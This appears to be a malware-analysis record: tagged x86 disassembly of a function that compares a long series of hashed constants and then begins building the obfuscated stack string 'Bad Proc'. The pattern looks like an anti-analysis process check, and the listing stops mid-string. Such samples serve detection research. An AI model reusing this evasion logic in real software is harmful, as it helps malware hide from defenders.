Function at 0x100325a0
Capabilities:
Contain obfuscated stackstrings
Execute command
Inspect section memory permissions
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100414de
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x498
mov dword [ebp - 0x3b8], 0
mov dword [ebp - 0x3bc], 0
jmp 0x100325e4
cmp dword [ebp + 0x18], 0
jne 0x100325ef
jmp 0x10033d84
mov eax, dword [ebp + 0x18]
push eax
lea ecx, [ebp - 0x28]
push ecx
mov ecx, dword [0x1007f374]
call fcn.1000f5e0
mov dword [ebp - 4], 0
push 0x1bff7d80
lea ecx, [ebp - 0x66]
call fcn.10036db0
mov dword [ebp - 0x3c0], eax
mov edx, dword [ebp - 0x3b8]
or edx, 1
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x4589939b
lea ecx, [ebp - 0x78]
call fcn.10036e30
mov dword [ebp - 0x3c4], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 2
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x3c4]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov eax, 0xfbfd385b
push eax
lea ecx, [ebp - 0x84]
call fcn.10036eb0
mov dword [ebp - 0x3c8], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 4
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x3c8]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x3aa428bb
lea ecx, [ebp - 0xa0]
call fcn.10036f30
mov dword [ebp - 0x3cc], eax
mov eax, dword [ebp - 0x3b8]
or eax, 8
mov dword [ebp - 0x3b8], eax
push 0
mov ecx, dword [ebp - 0x3cc]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov edx, 0xaf8bf916
push edx
lea ecx, [ebp - 0xaf]
call fcn.10036fb0
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3b8]
or eax, 0x10
mov dword [ebp - 0x3b8], eax
push 0
mov ecx, dword [ebp - 0x3d0]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x329bca90
lea ecx, [ebp - 0xba]
call fcn.10037030
mov dword [ebp - 0x3d4], eax
mov edx, dword [ebp - 0x3b8]
or edx, 0x20
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x3d4]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x200b8a47
lea ecx, [ebp - 0xc5]
call fcn.100370b0
mov dword [ebp - 0x3d8], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 0x40
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x3d8]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x161c25d7
lea ecx, [ebp - 0xd0]
call fcn.10037130
mov dword [ebp - 0x3dc], eax
mov eax, dword [ebp - 0x3b8]
or eax, 0x80
mov dword [ebp - 0x3b8], eax
push 0
mov ecx, dword [ebp - 0x3dc]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x20defb3e
lea ecx, [ebp - 0xdd]
call fcn.100371b0
mov dword [ebp - 0x3e0], eax
mov edx, dword [ebp - 0x3b8]
or edx, 0x100
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x3e0]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0xf42c62c0
push ecx
lea ecx, [ebp - 0xe9]
call fcn.10037230
mov dword [ebp - 0x3e4], eax
mov edx, dword [ebp - 0x3b8]
or edx, 0x200
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x3e4]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x127f62dc
lea ecx, [ebp - 0xf9]
call fcn.100372b0
mov dword [ebp - 0x3e8], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 0x400
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x3e8]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x2486370c
lea ecx, [ebp - 0x103]
call fcn.10037330
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x3b8]
or eax, 0x800
mov dword [ebp - 0x3b8], eax
push 0
mov ecx, dword [ebp - 0x3ec]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x3491b2d3
lea ecx, [ebp - 0x114]
call fcn.100373b0
mov dword [ebp - 0x3f0], eax
mov edx, dword [ebp - 0x3b8]
or edx, 0x1000
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x3f0]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0xfa8194a4
push ecx
lea ecx, [ebp - 0x120]
call fcn.10037430
mov dword [ebp - 0x3f4], eax
mov edx, dword [ebp - 0x3b8]
or edx, 0x2000
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0xf07cdafb
push ecx
lea ecx, [ebp - 0x12d]
call fcn.100374b0
mov dword [ebp - 0x3f8], eax
mov edx, dword [ebp - 0x3b8]
or edx, 0x4000
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x3f8]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0xb2ef8658
push ecx
lea ecx, [ebp - 0x136]
call fcn.10037530
mov dword [ebp - 0x3fc], eax
mov edx, dword [ebp - 0x3b8]
or edx, 0x8000
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x3fc]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x3cc50c98
lea ecx, [ebp - 0x142]
call fcn.100375b0
mov dword [ebp - 0x400], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 0x10000
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x400]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov eax, 0xad9394f5
push eax
lea ecx, [ebp - 0x158]
call fcn.10037630
mov dword [ebp - 0x404], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 0x20000
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x404]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov eax, 0xc0b64911
push eax
lea ecx, [ebp - 0x17a]
call fcn.100376b0
mov dword [ebp - 0x408], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 0x40000
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x408]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x162bf10c
lea ecx, [ebp - 0x186]
call fcn.10037730
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 0x3b8]
or eax, 0x80000
mov dword [ebp - 0x3b8], eax
push 0
mov ecx, dword [ebp - 0x40c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov edx, 0x6f65a3b
push edx
lea ecx, [ebp - 0x1a4]
call fcn.100377b0
mov dword [ebp - 0x410], eax
mov eax, dword [ebp - 0x3b8]
or eax, 0x100000
mov dword [ebp - 0x3b8], eax
push 0
mov ecx, dword [ebp - 0x410]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x8d32b944
lea ecx, [ebp - 0x1b4]
call fcn.10037830
mov dword [ebp - 0x414], eax
mov edx, dword [ebp - 0x3b8]
or edx, 0x200000
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x414]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x47ca6c45
lea ecx, [ebp - 0x1c5]
call fcn.100378b0
mov dword [ebp - 0x418], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 0x400000
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x418]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov eax, 0xa7533878
push eax
lea ecx, [ebp - 0x1d6]
call fcn.10037930
mov dword [ebp - 0x41c], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 0x800000
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x41c]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x69f4560b
lea ecx, [ebp - 0x1e5]
call fcn.100379b0
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x3b8]
or eax, 0x1000000
mov dword [ebp - 0x3b8], eax
push 0
mov ecx, dword [ebp - 0x420]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x59f6a6c8
lea ecx, [ebp - 0x1f7]
call fcn.1000f3f0
mov dword [ebp - 0x424], eax
mov edx, dword [ebp - 0x3b8]
or edx, 0x2000000
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x424]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x7cf21610
lea ecx, [ebp - 0x206]
call fcn.10037a30
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 0x4000000
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x428]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x365e5bd6
lea ecx, [ebp - 0x211]
call fcn.10037ab0
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x3b8]
or eax, 0x8000000
mov dword [ebp - 0x3b8], eax
push 0
mov ecx, dword [ebp - 0x42c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov edx, 0xd34a2842
push edx
lea ecx, [ebp - 0x21d]
call fcn.10037b30
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x3b8]
or eax, 0x10000000
mov dword [ebp - 0x3b8], eax
push 0
mov ecx, dword [ebp - 0x430]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x330f39ea
lea ecx, [ebp - 0x22c]
call fcn.10037bb0
mov dword [ebp - 0x434], eax
mov edx, dword [ebp - 0x3b8]
or edx, 0x20000000
mov dword [ebp - 0x3b8], edx
push 0
mov eax, dword [ebp - 0x434]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x1f81af8b
lea ecx, [ebp - 0x234]
call fcn.10037c30
mov dword [ebp - 0x438], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 0x40000000
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x438]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov eax, 0xaa86f885
push eax
lea ecx, [ebp - 0x23d]
call fcn.10037cb0
mov dword [ebp - 0x43c], eax
mov ecx, dword [ebp - 0x3b8]
or ecx, 0x80000000
mov dword [ebp - 0x3b8], ecx
push 0
mov edx, dword [ebp - 0x43c]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov eax, 0xd2385c79
push eax
lea ecx, [ebp - 0x251]
call fcn.10037d30
mov dword [ebp - 0x440], eax
mov ecx, dword [ebp - 0x3bc]
or ecx, 1
mov dword [ebp - 0x3bc], ecx
push 0
mov edx, dword [ebp - 0x440]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x813502f3
lea ecx, [ebp - 0x258]
call fcn.10037db0
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x3bc]
or eax, 2
mov dword [ebp - 0x3bc], eax
push 0
mov ecx, dword [ebp - 0x444]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x79b4919d
lea ecx, [ebp - 0x265]
call fcn.10037e30
mov dword [ebp - 0x448], eax
mov edx, dword [ebp - 0x3bc]
or edx, 4
mov dword [ebp - 0x3bc], edx
push 0
mov eax, dword [ebp - 0x448]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0xaf6f0b45
push ecx
lea ecx, [ebp - 0x272]
call fcn.10037eb0
mov dword [ebp - 0x44c], eax
mov edx, dword [ebp - 0x3bc]
or edx, 8
mov dword [ebp - 0x3bc], edx
push 0
mov eax, dword [ebp - 0x44c]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0xe959adb9
push ecx
lea ecx, [ebp - 0x286]
call fcn.10037f30
mov dword [ebp - 0x450], eax
mov edx, dword [ebp - 0x3bc]
or edx, 0x10
mov dword [ebp - 0x3bc], edx
push 0
mov eax, dword [ebp - 0x450]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0xd2185577
push ecx
lea ecx, [ebp - 0x293]
call fcn.10037fb0
mov dword [ebp - 0x454], eax
mov edx, dword [ebp - 0x3bc]
or edx, 0x20
mov dword [ebp - 0x3bc], edx
push 0
mov eax, dword [ebp - 0x454]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0x97a70c7c
push ecx
lea ecx, [ebp - 0x29f]
call fcn.10038030
mov dword [ebp - 0x458], eax
mov edx, dword [ebp - 0x3bc]
or edx, 0x40
mov dword [ebp - 0x3bc], edx
push 0
mov eax, dword [ebp - 0x458]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x8fc711de
lea ecx, [ebp - 0x2b7]
call fcn.100380b0
mov dword [ebp - 0x45c], eax
mov ecx, dword [ebp - 0x3bc]
or ecx, 0x80
mov dword [ebp - 0x3bc], ecx
push 0
mov edx, dword [ebp - 0x45c]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov eax, 0xa55ca3be
push eax
lea ecx, [ebp - 0x2c9]
call fcn.10038130
mov dword [ebp - 0x460], eax
mov ecx, dword [ebp - 0x3bc]
or ecx, 0x100
mov dword [ebp - 0x3bc], ecx
push 0
mov edx, dword [ebp - 0x460]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x825558ee
lea ecx, [ebp - 0x2d3]
call fcn.100381b0
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0x3bc]
or eax, 0x200
mov dword [ebp - 0x3bc], eax
push 0
mov ecx, dword [ebp - 0x464]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x6920c0cd
lea ecx, [ebp - 0x2e7]
call fcn.10038230
mov dword [ebp - 0x468], eax
mov edx, dword [ebp - 0x3bc]
or edx, 0x400
mov dword [ebp - 0x3bc], edx
push 0
mov eax, dword [ebp - 0x468]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0xe8ad128a
push ecx
lea ecx, [ebp - 0x2fe]
call fcn.100382b0
mov dword [ebp - 0x46c], eax
mov edx, dword [ebp - 0x3bc]
or edx, 0x800
mov dword [ebp - 0x3bc], edx
push 0
mov eax, dword [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x426d518e
lea ecx, [ebp - 0x309]
call fcn.10038330
mov dword [ebp - 0x470], eax
mov ecx, dword [ebp - 0x3bc]
or ecx, 0x1000
mov dword [ebp - 0x3bc], ecx
push 0
mov edx, dword [ebp - 0x470]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov eax, 0x97a2e1ff
push eax
lea ecx, [ebp - 0x31f]
call fcn.100383b0
mov dword [ebp - 0x474], eax
mov ecx, dword [ebp - 0x3bc]
or ecx, 0x2000
mov dword [ebp - 0x3bc], ecx
push 0
mov edx, dword [ebp - 0x474]
push edx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x80de352f
lea ecx, [ebp - 0x329]
call fcn.10038430
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x3bc]
or eax, 0x4000
mov dword [ebp - 0x3bc], eax
push 0
mov ecx, dword [ebp - 0x478]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov edx, 0xaedd72c2
push edx
lea ecx, [ebp - 0x335]
call fcn.100384b0
mov dword [ebp - 0x47c], eax
mov eax, dword [ebp - 0x3bc]
or eax, 0x8000
mov dword [ebp - 0x3bc], eax
push 0
mov ecx, dword [ebp - 0x47c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
push 0x7f90ac72
lea ecx, [ebp - 0x33d]
call fcn.10038530
mov dword [ebp - 0x480], eax
mov edx, dword [ebp - 0x3bc]
or edx, 0x10000
mov dword [ebp - 0x3bc], edx
push 0
mov eax, dword [ebp - 0x480]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0xaedd72c2
push ecx
lea ecx, [ebp - 0x349]
call fcn.100384b0
mov dword [ebp - 0x484], eax
mov edx, dword [ebp - 0x3bc]
or edx, 0x20000
mov dword [ebp - 0x3bc], edx
push 0
mov eax, dword [ebp - 0x484]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov ecx, 0xc5924e27
push ecx
lea ecx, [ebp - 0x362]
call fcn.100385b0
mov dword [ebp - 0x488], eax
mov edx, dword [ebp - 0x3bc]
or edx, 0x40000
mov dword [ebp - 0x3bc], edx
push 0
mov eax, dword [ebp - 0x488]
push eax
lea ecx, [ebp - 0x28]
call fcn.10008e50
cmp eax, dword [0x1005a294]
jne 0x100333a9
mov dword [ebp - 0x48c], 0
jmp 0x100333b3
mov dword [ebp - 0x48c], 1
mov cl, byte [ebp - 0x48c]
mov byte [ebp - 0x59], cl
mov edx, dword [ebp - 0x3bc]
and edx, 0x40000
je 0x100333df
and dword [ebp - 0x3bc], 0xfffbffff
lea ecx, [ebp - 0x362]
call fcn.1001be50
mov eax, dword [ebp - 0x3bc]
and eax, 0x20000
je 0x10033401
and dword [ebp - 0x3bc], 0xfffdffff
lea ecx, [ebp - 0x349]
call fcn.10036c60
mov ecx, dword [ebp - 0x3bc]
and ecx, 0x10000
je 0x10033424
and dword [ebp - 0x3bc], 0xfffeffff
lea ecx, [ebp - 0x33d]
call fcn.10036c30
mov edx, dword [ebp - 0x3bc]
and edx, 0x8000
je 0x10033447
and dword [ebp - 0x3bc], 0xffff7fff
lea ecx, [ebp - 0x335]
call fcn.10036c60
mov eax, dword [ebp - 0x3bc]
and eax, 0x4000
je 0x10033469
and dword [ebp - 0x3bc], 0xffffbfff
lea ecx, [ebp - 0x329]
call fcn.1001bd60
mov ecx, dword [ebp - 0x3bc]
and ecx, 0x2000
je 0x1003348c
and dword [ebp - 0x3bc], 0xffffdfff
lea ecx, [ebp - 0x31f]
call fcn.1001ba30
mov edx, dword [ebp - 0x3bc]
and edx, 0x1000
je 0x100334af
and dword [ebp - 0x3bc], 0xffffefff
lea ecx, [ebp - 0x309]
call fcn.1001bd30
mov eax, dword [ebp - 0x3bc]
and eax, 0x800
je 0x100334d1
and dword [ebp - 0x3bc], 0xfffff7ff
lea ecx, [ebp - 0x2fe]
call fcn.1001ba90
mov ecx, dword [ebp - 0x3bc]
and ecx, 0x400
je 0x100334f4
and dword [ebp - 0x3bc], 0xfffffbff
lea ecx, [ebp - 0x2e7]
call fcn.10036c00
mov edx, dword [ebp - 0x3bc]
and edx, 0x200
je 0x10033517
and dword [ebp - 0x3bc], 0xfffffdff
lea ecx, [ebp - 0x2d3]
call fcn.1001bd60
mov eax, dword [ebp - 0x3bc]
and eax, 0x100
je 0x10033539
and dword [ebp - 0x3bc], 0xfffffeff
lea ecx, [ebp - 0x2c9]
call fcn.10036c90
mov ecx, dword [ebp - 0x3bc]
and ecx, 0x80
je 0x1003355c
and dword [ebp - 0x3bc], 0xffffff7f
lea ecx, [ebp - 0x2b7]
call fcn.10036cc0
mov edx, dword [ebp - 0x3bc]
and edx, 0x40
je 0x10033579
and dword [ebp - 0x3bc], 0xffffffbf
lea ecx, [ebp - 0x29f]
call fcn.10036c60
mov eax, dword [ebp - 0x3bc]
and eax, 0x20
je 0x10033596
and dword [ebp - 0x3bc], 0xffffffdf
lea ecx, [ebp - 0x293]
call fcn.10036aa0
mov ecx, dword [ebp - 0x3bc]
and ecx, 0x10
je 0x100335b3
and dword [ebp - 0x3bc], 0xffffffef
lea ecx, [ebp - 0x286]
call fcn.10036c00
mov edx, dword [ebp - 0x3bc]
and edx, 8
je 0x100335d0
and dword [ebp - 0x3bc], 0xfffffff7
lea ecx, [ebp - 0x272]
call fcn.10036aa0
mov eax, dword [ebp - 0x3bc]
and eax, 4
je 0x100335ed
and dword [ebp - 0x3bc], 0xfffffffb
lea ecx, [ebp - 0x265]
call fcn.10036aa0
mov ecx, dword [ebp - 0x3bc]
and ecx, 2
je 0x1003360a
and dword [ebp - 0x3bc], 0xfffffffd
lea ecx, [ebp - 0x258]
call fcn.1001bdc0
mov edx, dword [ebp - 0x3bc]
and edx, 1
je 0x10033627
and dword [ebp - 0x3bc], 0xfffffffe
lea ecx, [ebp - 0x251]
call fcn.10036c00
mov eax, dword [ebp - 0x3b8]
and eax, 0x80000000
je 0x10033649
and dword [ebp - 0x3b8], 0x7fffffff
lea ecx, [ebp - 0x23d]
call fcn.10036ad0
mov ecx, dword [ebp - 0x3b8]
and ecx, 0x40000000
je 0x1003366c
and dword [ebp - 0x3b8], 0xbfffffff
lea ecx, [ebp - 0x234]
call fcn.10036c30
mov edx, dword [ebp - 0x3b8]
and edx, 0x20000000
je 0x1003368f
and dword [ebp - 0x3b8], 0xdfffffff
lea ecx, [ebp - 0x22c]
call fcn.1001bd00
mov eax, dword [ebp - 0x3b8]
and eax, 0x10000000
je 0x100336b1
and dword [ebp - 0x3b8], 0xefffffff
lea ecx, [ebp - 0x21d]
call fcn.10036c60
mov ecx, dword [ebp - 0x3b8]
and ecx, 0x8000000
je 0x100336d4
and dword [ebp - 0x3b8], 0xf7ffffff
lea ecx, [ebp - 0x211]
call fcn.1001bd30
mov edx, dword [ebp - 0x3b8]
and edx, 0x4000000
je 0x100336f7
and dword [ebp - 0x3b8], 0xfbffffff
lea ecx, [ebp - 0x206]
call fcn.1001bd00
mov eax, dword [ebp - 0x3b8]
and eax, 0x2000000
je 0x10033719
and dword [ebp - 0x3b8], 0xfdffffff
lea ecx, [ebp - 0x1f7]
call fcn.10036c90
mov ecx, dword [ebp - 0x3b8]
and ecx, 0x1000000
je 0x1003373c
and dword [ebp - 0x3b8], 0xfeffffff
lea ecx, [ebp - 0x1e5]
call fcn.1001bd00
mov edx, dword [ebp - 0x3b8]
and edx, 0x800000
je 0x1003375f
and dword [ebp - 0x3b8], 0xff7fffff
lea ecx, [ebp - 0x1d6]
call fcn.1001ba60
mov eax, dword [ebp - 0x3b8]
and eax, 0x400000
je 0x10033781
and dword [ebp - 0x3b8], 0xffbfffff
lea ecx, [ebp - 0x1c5]
call fcn.1001ba60
mov ecx, dword [ebp - 0x3b8]
and ecx, 0x200000
je 0x100337a4
and dword [ebp - 0x3b8], 0xffdfffff
lea ecx, [ebp - 0x1b4]
call fcn.10036bd0
mov edx, dword [ebp - 0x3b8]
and edx, 0x100000
je 0x100337c7
and dword [ebp - 0x3b8], 0xffefffff
lea ecx, [ebp - 0x1a4]
call fcn.1001bbe0
mov eax, dword [ebp - 0x3b8]
and eax, 0x80000
je 0x100337e9
and dword [ebp - 0x3b8], 0xfff7ffff
lea ecx, [ebp - 0x186]
call fcn.10036c60
mov ecx, dword [ebp - 0x3b8]
and ecx, 0x40000
je 0x1003380c
and dword [ebp - 0x3b8], 0xfffbffff
lea ecx, [ebp - 0x17a]
call fcn.1000e280
mov edx, dword [ebp - 0x3b8]
and edx, 0x20000
je 0x1003382f
and dword [ebp - 0x3b8], 0xfffdffff
lea ecx, [ebp - 0x158]
call fcn.1001ba30
mov eax, dword [ebp - 0x3b8]
and eax, 0x10000
je 0x10033851
and dword [ebp - 0x3b8], 0xfffeffff
lea ecx, [ebp - 0x142]
call fcn.10036c60
mov ecx, dword [ebp - 0x3b8]
and ecx, 0x8000
je 0x10033874
and dword [ebp - 0x3b8], 0xffff7fff
lea ecx, [ebp - 0x136]
call fcn.10036ad0
mov edx, dword [ebp - 0x3b8]
and edx, 0x4000
je 0x10033897
and dword [ebp - 0x3b8], 0xffffbfff
lea ecx, [ebp - 0x12d]
call fcn.10036aa0
mov eax, dword [ebp - 0x3b8]
and eax, 0x2000
je 0x100338b9
and dword [ebp - 0x3b8], 0xffffdfff
lea ecx, [ebp - 0x120]
call fcn.10036c60
mov ecx, dword [ebp - 0x3b8]
and ecx, 0x1000
je 0x100338dc
and dword [ebp - 0x3b8], 0xffffefff
lea ecx, [ebp - 0x114]
call fcn.1001ba60
mov edx, dword [ebp - 0x3b8]
and edx, 0x800
je 0x100338ff
and dword [ebp - 0x3b8], 0xfffff7ff
lea ecx, [ebp - 0x103]
call fcn.1001bd60
mov eax, dword [ebp - 0x3b8]
and eax, 0x400
je 0x10033921
and dword [ebp - 0x3b8], 0xfffffbff
lea ecx, [ebp - 0xf9]
call fcn.10036bd0
mov ecx, dword [ebp - 0x3b8]
and ecx, 0x200
je 0x10033944
and dword [ebp - 0x3b8], 0xfffffdff
lea ecx, [ebp - 0xe9]
call fcn.10036c60
mov edx, dword [ebp - 0x3b8]
and edx, 0x100
je 0x10033967
and dword [ebp - 0x3b8], 0xfffffeff
lea ecx, [ebp - 0xdd]
call fcn.10036aa0
mov eax, dword [ebp - 0x3b8]
and eax, 0x80
je 0x10033989
and dword [ebp - 0x3b8], 0xffffff7f
lea ecx, [ebp - 0xd0]
call fcn.1001bd30
mov ecx, dword [ebp - 0x3b8]
and ecx, 0x40
je 0x100339a6
and dword [ebp - 0x3b8], 0xffffffbf
lea ecx, [ebp - 0xc5]
call fcn.1001bd30
mov edx, dword [ebp - 0x3b8]
and edx, 0x20
je 0x100339c3
and dword [ebp - 0x3b8], 0xffffffdf
lea ecx, [ebp - 0xba]
call fcn.1001bd30
mov eax, dword [ebp - 0x3b8]
and eax, 0x10
je 0x100339e0
and dword [ebp - 0x3b8], 0xffffffef
lea ecx, [ebp - 0xaf]
call fcn.1001bd00
mov ecx, dword [ebp - 0x3b8]
and ecx, 8
je 0x100339fd
and dword [ebp - 0x3b8], 0xfffffff7
lea ecx, [ebp - 0xa0]
call fcn.10036a70
mov edx, dword [ebp - 0x3b8]
and edx, 4
je 0x10033a1a
and dword [ebp - 0x3b8], 0xfffffffb
lea ecx, [ebp - 0x84]
call fcn.10036c60
mov eax, dword [ebp - 0x3b8]
and eax, 2
je 0x10033a34
and dword [ebp - 0x3b8], 0xfffffffd
lea ecx, [ebp - 0x78]
call fcn.10036c90
mov ecx, dword [ebp - 0x3b8]
and ecx, 1
je 0x10033a4e
and dword [ebp - 0x3b8], 0xfffffffe
lea ecx, [ebp - 0x66]
call fcn.10036aa0
movzx edx, byte [ebp - 0x59]
test edx, edx
je 0x10033a6a
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10001560
jmp 0x10033d84
mov byte [ebp - 0x58], 0x42
mov byte [ebp - 0x57], 0x61
mov byte [ebp - 0x56], 0x64
mov byte [ebp - 0x55], 0x20
mov byte [ebp - 0x54], 0x50
mov byte [ebp - 0x53], 0x72
mov byte [ebp - 0x52], 0x6f
mov byte [ebp - 0x51], 0x63
